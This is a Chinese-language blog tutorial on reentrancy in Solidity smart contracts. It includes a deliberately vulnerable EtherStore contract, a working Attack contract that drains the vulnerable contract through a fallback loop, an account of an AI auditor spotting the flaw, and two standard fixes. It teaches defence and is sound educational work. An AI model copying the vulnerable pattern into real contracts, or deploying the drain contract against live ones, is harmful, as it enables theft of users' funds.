标签:#Web3 #BlockchainSecurity #Solidity #AI #Reentrancy
🩸 前言:当 ATM 机发疯的时候
想象一下,你在这个世界上有一台特殊的 ATM 机。
如果你去取 100 块钱,它的流程是这样的:
- 检查余额:看你卡里有没有 100 块。
- 吐钞:把 100 块吐给你。
- 扣款:把你账户里的余额减去 100 块。
听起来没问题?黑客的思路是这样的:
在步骤 2(吐钞)和步骤 3(扣款)之间,我大喊一声:“再给我取 100 块!”
因为步骤 3 还没执行,ATM 机觉得你余额还在,于是再次执行步骤 2。
如此循环,直到提空 ATM 机的所有现金。
这就是重入攻击的本质。
🕳️ 一、 漏洞现场:一个典型的“提款机”合约
我们写一个简易的银行合约EtherStore.sol。它允许用户存钱,并提现。
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract EtherStore { mapping(address => uint256) public balances; // 存钱 function deposit() public payable { balances[msg.sender] += msg.value; } // 取钱 (漏洞就在这里!) function withdraw() public { uint256 bal = balances[msg.sender]; require(bal > 0, "No balance"); // 1. 发送以太币 (Interaction) // 使用 .call 发送 ETH 会触发接收方的 fallback 函数 (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); // 2. 更新余额 (Effects) // 致命错误:钱发完了才扣余额! balances[msg.sender] = 0; } }🤖 二、 人机对决:谁先发现漏洞?
🧑💻 选手 A:人类黑客
人类黑客需要:
- 通读代码。
- 识别
call函数。 - 检查状态变量
balances的更新位置。 - 脑补调用流程,确认不符合 “Checks-Effects-Interactions” 模式。
耗时:熟手约 1-5 分钟,新手可能看不出来。
🤖 选手 B:AI 安全审计员 (GPT-4 / Claude 3.5)
我们将上述代码直接喂给 AI,Prompt 只有一句:“审计这段 Solidity 代码的安全性。”
AI 的回答(秒回):
严重漏洞警告:重入攻击 (Reentrancy)
在withdraw函数中,合约先通过msg.sender.call发送以太币,然后才将余额balances[msg.sender]更新为 0。
攻击者可以创建一个恶意合约,在其fallback或receive函数中再次调用withdraw。由于余额尚未更新,第二次调用仍然会通过require(bal > 0)检查。
结果:AI 耗时 < 3 秒。
在标准化漏洞扫描上,AI 的效率已经对人类形成了降维打击。
⚔️ 三、 攻击复现:清空金库
既然 AI 指出了路,我们就来当一回“黑客”。
我们需要编写一个Attack.sol合约来配合攻击。
攻击原理图 (Mermaid):
攻击合约代码:
contract Attack { EtherStore public etherStore; constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } // 接收 ETH 时会自动触发 fallback() external payable { if (address(etherStore).balance >= 1 ether) { // 只要受害者合约里还有钱,就继续吸血! etherStore.withdraw(); } } function attack() external payable { require(msg.value >= 1 ether); // 1. 先存点钱进去,取得信任 etherStore.deposit{value: 1 ether}(); // 2. 开始提款,触发连环陷阱 etherStore.withdraw(); } }战况推演:
- 受害者合约里有 10 ETH(其他用户的钱)。
- 攻击者存入 1 ETH。
- 攻击者调用
attack()->etherStore.withdraw()。 etherStore发送 1 ETH 给Attack。Attack收到钱,触发fallback()。fallback()再次调用etherStore.withdraw()。- 此时
etherStore还没来得及把攻击者的余额清零!它以为攻击者还有 1 ETH。 etherStore再次发送 1 ETH……- 循环直到
etherStore余额归零。
🛡️ 四、 防御:AI 给出的修复方案
不仅能攻,还能防。AI 给出了两种标准的修复方案:
方案 1:检查-生效-交互 (Checks-Effects-Interactions)
先改状态,再发钱。
function withdraw() public { uint256 bal = balances[msg.sender]; require(bal > 0); // 1. 先扣钱 (Effects) balances[msg.sender] = 0; // 2. 再发钱 (Interactions) (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send"); }方案 2:防重入锁 (ReentrancyGuard)
使用 OpenZeppelin 的修饰符。
// 引入 ReentrancyGuard import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract EtherStore is ReentrancyGuard { // 加上 nonReentrant 修饰符,同一个交易内禁止递归进入 function withdraw() public nonReentrant { // ... 业务逻辑 } }🎯 总结
Web3 的世界是残酷的。以前,你需要懂汇编、懂 EVM 才能发现深层漏洞。
现在,AI 极大地降低了“作恶”和“行善”的门槛。
- 对于开发者:在部署合约前,务必把代码丢给 AI 跑一遍审计。它不一定能发现所有逻辑 Bug,但像重入攻击这种经典漏洞,它一抓一个准。
- 对于黑客:AI 正在成为最高效的“漏洞扫描器”。
Next Step:
不要只看文章。去Remix IDE上部署这两个合约(EtherStore 和 Attack),亲自体验一下余额瞬间归零的震撼。这是理解区块链安全最快的方式。